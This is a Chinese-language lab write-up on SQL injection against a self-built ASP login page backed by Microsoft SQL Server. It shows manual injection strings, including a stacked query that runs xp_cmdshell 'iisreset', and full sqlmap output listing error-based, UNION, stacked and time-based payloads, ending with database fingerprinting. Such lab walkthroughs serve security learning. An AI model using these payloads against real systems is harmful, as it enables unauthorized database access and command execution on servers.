作者：Beginne([email protected]) & Dis9Team

在論壇看到了炊少的 記錄 Mssql注入點構造 一文 ，裡面介紹了構造MSSQL + ASP 的GET注入和POST注入的兩種方式，今天沒事幹，所以玩了一下子，把記錄貼了出來
關於構造自己看上面的原文吧，首先說這個注入是一定存在的
抓包分析

觀察提交頁面原始碼，看看是什麼方式提交

1. <formname="frmLogin"action="login.asp"method="post">
2. Username: <inputtype="text"name="userName">
3. Password: <inputtype="text"name="password">
4. <inputtype="submit">
5. </form>

很明顯是post方式，我們得抓到提交的POST資料，用到了firefox的外掛，如下圖：

有了資料包就好搞了，下面我們手工檢測一下
繼續提交注入語句：

手工檢測

有了資料包就好搞了，下面我們手工檢測一下
繼續提交注入語句：

---------------------------------
帳號：' having 1=1 ---
密碼任意
---------------------------------

返回：Logged In
提交注入語句：

---------------------------------
帳號：' having 1=2 ---
密碼任意
---------------------------------

返回
Bad Credentials
說明存在注入
我們提交：
帳號

'; exec master..xp_cmdshell 'iisreset'; --
密碼任意

返回:
Microsoft OLE DB Provider for SQL Server 錯誤 '80004005'

[DBNETLIB][ConnectionOpen (Connect()).]SQL Server 不存在或拒絕訪問。

/login.asp，行 14

其實是執行

1. select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''

自動化注入

下面我們直接用sqlmap進行注入

1. [email protected]:~# sqlmap -u "http://5.5.5.134/login.asp" --data "userName=123&password=123" 
2.     sqlmap/1.0-dev (r4911) - automatic SQL injection and database takeover tool 
3. http://www.sqlmap.org 
4. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program 
5. [*] starting at 21:13:27 
6. [21:13:27] [INFO] using '/pen/sqlmap-dev/output/5.5.5.134/session' as session file 
7. [21:13:27] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from session file 
8. [21:13:27] [INFO] testing connection to the target url 
9. [21:13:27] [INFO] heuristics detected web page charset 'ascii' 
10. sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
11. --- 
12. Place: POST 
13. Parameter: password 
14.     Type: error-based 
15.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause 
16.     Payload: userName=admin&password=admin' AND 8376=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (8376=8376) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'YvOd'='YvOd 
17.     Type: UNION query 
18.     Title: Generic UNION query (NULL) - 1 column 
19.     Payload: userName=admin&password=-1537' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(117)+CHAR(84)+CHAR(86)+CHAR(119)+CHAR(105)+CHAR(109)+CHAR(100)+CHAR(101)+CHAR(122)+CHAR(114)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'WzKD'='WzKD 
20.     Type: stacked queries 
21.     Title: Microsoft SQL Server/Sybase stacked queries 
22.     Payload: userName=admin&password=admin'; WAITFOR DELAY '0:0:5';-- AND 'LmZG'='LmZG 
23.     Type: AND/OR time-based blind 
24.     Title: Microsoft SQL Server/Sybase time-based blind 
25.     Payload: userName=admin&password=admin' WAITFOR DELAY '0:0:5'-- AND 'ugPK'='ugPK 
26. Place: POST 
27. Parameter: userName 
28.     Type: error-based 
29.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause 
30.     Payload: userName=admin' AND 1780=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (1780=1780) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'tmdk'='tmdk&password=admin
31.     Type: UNION query 
32.     Title: Generic UNION query (NULL) - 1 column 
33.     Payload: userName=-1984' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(107)+CHAR(121)+CHAR(122)+CHAR(100)+CHAR(68)+CHAR(71)+CHAR(84)+CHAR(87)+CHAR(98)+CHAR(105)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'CTkR'='CTkR&password=admin
34.     Type: stacked queries 
35.     Title: Microsoft SQL Server/Sybase stacked queries 
36.     Payload: userName=admin'; WAITFOR DELAY '0:0:5';-- AND 'Nbcb'='Nbcb&password=admin
37.     Type: AND/OR time-based blind 
38.     Title: Microsoft SQL Server/Sybase time-based blind 
39.     Payload: userName=admin' WAITFOR DELAY '0:0:5'-- AND 'EBhZ'='EBhZ&password=admin
40. --- 
41. there were multiple injection points, please select the one to use for following injections: 
42. [0] place: POST, parameter: userName, type: Single quoted string (default) 
43. [1] place: POST, parameter: password, type: Single quoted string 
44. [q] Quit 
45. >

這裡提示選擇用username 和PASSWORD表單提交注入語句 隨便都性
我選擇0，用username提交注入語句 得到的結果：

1. > 0 
2. [21:14:33] [INFO] the back-end DBMS is Microsoft SQL Server 
3. web server operating system: Windows XP 
4. web application technology: ASP, Microsoft IIS 5.1 
5. back-end DBMS: Microsoft SQL Server 2005 
6. [21:14:33] [INFO] Fetched data logged to text files under '/pen/sqlmap-dev/output/5.5.5.134' 
7. [*] shutting down at 21:14:33 

目標資料庫版本出來了